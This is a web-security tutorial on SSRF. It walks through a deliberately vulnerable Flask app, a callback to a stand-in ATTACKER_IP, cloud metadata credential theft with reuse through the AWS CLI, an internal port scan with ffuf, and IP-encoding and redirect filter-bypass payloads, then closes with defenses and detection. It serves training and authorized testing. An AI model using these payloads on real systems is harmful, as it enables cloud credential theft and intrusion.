SSRF Deep Dive: Pivoting to Cloud Metadata, Internal Scans, and Filter Bypass

Web Exploitation
Time it takes to read this article 5 minutes.

Disclaimer: This article is for education and authorized security testing only. Run these techniques exclusively against systems you own or have explicit written permission to test (e.g., a signed scope or bug bounty program). Unauthorized access to computer systems is illegal in most jurisdictions.

Introduction / Overview

Server-Side Request Forgery (SSRF) is consistently one of the highest-impact web vulnerabilities in modern cloud environments. It was prominent enough to earn its own category — A10:2021 — in the OWASP Top 10, and it was the root cause of the 2019 Capital One breach, where an attacker abused an SSRF to read AWS instance credentials from the metadata service.

In this article you'll learn how SSRF works at the protocol level, how to weaponize it against the cloud metadata endpoint 169.254.169.254, how to perform internal network scanning through a vulnerable server, and how to defeat common allow/deny-list filters. We finish with a robust Blue Team section.

How It Works / Background

SSRF occurs when an application fetches a remote resource using a user-controllable URL without validating the destination. The attacker doesn't make the request themselves — the server does, from inside the trust boundary. That's the entire point: the server can reach internal addresses (10.0.0.0/8, 127.0.0.1, link-local 169.254.0.0/16) that the attacker cannot reach directly.

Typical sinks include "fetch image from URL", webhook validators, PDF/HTML renderers, document import features, and URL preview generators. The danger scales with what the server-side network can reach:

  • Cloud metadata services (IMDS) that hand out temporary credentials.
  • Internal admin panels with no authentication because they "trust the network".
  • Other backends (Redis, Elasticsearch, internal APIs) reachable only from inside the VPC.

SSRF also splits into two flavors. In-band/basic SSRF returns the response body to you. Blind SSRF does not — you confirm it via out-of-band interactions (DNS/HTTP to a collaborator) or timing differences.

Prerequisites / Lab Setup

You need a deliberately vulnerable app. A quick local target is a tiny Flask service that proxies any URL:

# vuln_ssrf.py  (DO NOT expose to the internet)
from flask import Flask, request
import requests
app = Flask(__name__)

@app.route("/fetch")
def fetch():
    url = request.args.get("url")
    return requests.get(url, timeout=3).text  # no validation = SSRF
Python
pip install flask requests
python3 vuln_ssrf.py  # runs on http://127.0.0.1:5000
Bash

You'll also want:

  • curl and ffuf/wfuzz for fuzzing.
  • A collaborator for blind SSRF — Burp Suite Collaborator, or an open-source alternative like interactsh:
interactsh-client -v
Bash

Attack Walkthrough / PoC

1. Confirm the SSRF

Point the server at your own listener and watch for a callback.

# Attacker terminal: start a listener
nc -lvnp 8000

# Trigger the fetch
curl "http://127.0.0.1:5000/fetch?url=http://ATTACKER_IP:8000/ssrf-test"
Bash

A connection to your listener proves the server makes outbound requests on your behalf. For blind cases, swap in your interactsh domain (http://xxxxx.oast.fun/) and watch the DNS/HTTP log.

2. Cloud Metadata Theft (IMDS)

The link-local address 169.254.169.254 exposes instance metadata on every major cloud. On AWS with the legacy IMDSv1, a single GET returns IAM credentials.

# Enumerate the IAM role name
curl "http://127.0.0.1:5000/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"

# Then grab the temporary credentials for that role
curl "http://127.0.0.1:5000/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME"
Bash

The JSON response includes AccessKeyId, SecretAccessKey, and Token. Export and use them with the AWS CLI:

export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
aws sts get-caller-identity
aws s3 ls
Bash

Other providers differ in detail:

# GCP — requires a special header (see filter-bypass note below)
curl "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token" \
  -H "Metadata-Flavor: Google"

# Azure IMDS
curl "http://169.254.169.254/metadata/instance?api-version=2021-02-01" \
  -H "Metadata: true"
Bash

Note that IMDSv2 (AWS) defends against most SSRF because it requires a PUT to obtain a session token plus a custom header — something a simple GET-based SSRF can't produce.

3. Internal Port Scanning

Because the server can reach RFC 1918 space, SSRF doubles as a pivot scanner. Differentiate open vs. closed ports by response time, status code, or error message. Fuzz the port with ffuf:

ffuf -w <(seq 1 65535) \
  -u "http://127.0.0.1:5000/fetch?url=http://10.0.0.5:FUZZ/" \
  -mc all -fc 502,504 -t 50
Bash

Hosts that respond differently (200/401/redirect vs. a 502 gateway error) reveal live services. From there, fingerprint internal admin panels, Kubernetes API servers (:6443/:10250), or Redis (:6379). This internal recon pairs well with the network pivoting concepts in Pivoting and Lateral Movement.

4. Filter Bypass

Naive defenses block the string 169.254.169.254 or 127.0.0.1. These are trivially evaded:

# Decimal / hex / octal IP encodings of 127.0.0.1
curl "http://127.0.0.1:5000/fetch?url=http://2130706433/"      # decimal
curl "http://127.0.0.1:5000/fetch?url=http://0x7f000001/"       # hex
curl "http://127.0.0.1:5000/fetch?url=http://0177.0.0.1/"       # octal

# Metadata IP encoded as decimal
curl "http://127.0.0.1:5000/fetch?url=http://2852039166/"       # 169.254.169.254

# DNS rebinding / wildcard DNS pointing at internal IPs
curl "http://127.0.0.1:5000/fetch?url=http://169.254.169.254.nip.io/"

# Credentials trick — parser confusion (host is actually 169.254.169.254)
curl "http://127.0.0.1:5000/fetch?url=http://expected.com@169.254.169.254/"

# IPv6 / IPv4-mapped
curl "http://127.0.0.1:5000/fetch?url=http://[::ffff:a9fe:a9fe]/"
Bash

Two more powerful classes:

  • DNS rebinding: register a domain whose DNS first resolves to a public IP (passing validation) then re-resolves to 169.254.169.254 on the second lookup the server makes.
  • Open redirects: if the allow-list permits trusted.com, but trusted.com has an open redirect, chain it: ?url=https://trusted.com/redirect?to=http://169.254.169.254/.

For more sink ideas — XXE-based SSRF, gopher:// to talk to Redis — see XXE Injection Attacks.

Mermaid Diagram

SSRF Deep Dive: Pivoting to Cloud Metadata, Internal Scans, and Filter Bypass diagram 1

Text version: the attacker tricks the server into requesting the metadata endpoint, the server returns the IAM credentials to the attacker, who then authenticates directly to the cloud API.

Detection & Defense (Blue Team)

SSRF is fixed by controlling where the server is allowed to connect, not by string-matching URLs. Layer these defenses:

1. Enforce IMDSv2 and hop limit (AWS). Require session-token-based metadata access so a plain GET-based SSRF fails. Set the response hop limit to 1 to block container-relayed access.

aws ec2 modify-instance-metadata-options \
  --instance-id i-0abc123 \
  --http-tokens required \
  --http-put-response-hop-limit 1 \
  --http-endpoint enabled
Bash

2. Validate and allow-list destinations. Resolve the hostname, reject any answer that falls inside 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16, and ::1. Crucially, re-validate after DNS resolution and pin the resolved IP for the actual connection to defeat DNS rebinding. Prefer a strict allow-list of permitted hosts over a deny-list.

3. Network egress controls. Place fetch services in a subnet whose security group / firewall denies egress to 169.254.169.254 and to internal management ranges. This is the single most effective compensating control.

# Example iptables egress rule on the host
iptables -A OUTPUT -d 169.254.169.254 -j DROP
Bash

4. Disable unused URL schemes. Block file://, gopher://, dict://, and ftp://; allow only http/https.

5. Detection. Alert on outbound requests to 169.254.169.254 originating from web tiers — they should essentially never happen from app code. In AWS, monitor GuardDuty findings of type UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS/OutsideAWS, which fire when instance-role credentials are used from a different IP. Map detections to MITRE ATT&CK T1552.005 (Unsecured Credentials: Cloud Instance Metadata API). Correlate with VPC Flow Logs and WAF rules that flag inbound parameters containing internal IPs or metadata paths.

Conclusion

SSRF turns a humble "fetch a URL" feature into a foothold inside your cloud perimeter — leaking IAM credentials, scanning internal networks, and bypassing weak filters with trivial IP encoding tricks. The durable fix is architectural: enforce IMDSv2, lock down egress, pin resolved IPs against rebinding, and monitor for credential exfiltration. Treat every server-side fetch as a potential pivot point and design accordingly.

References

Comments

Copied title and URL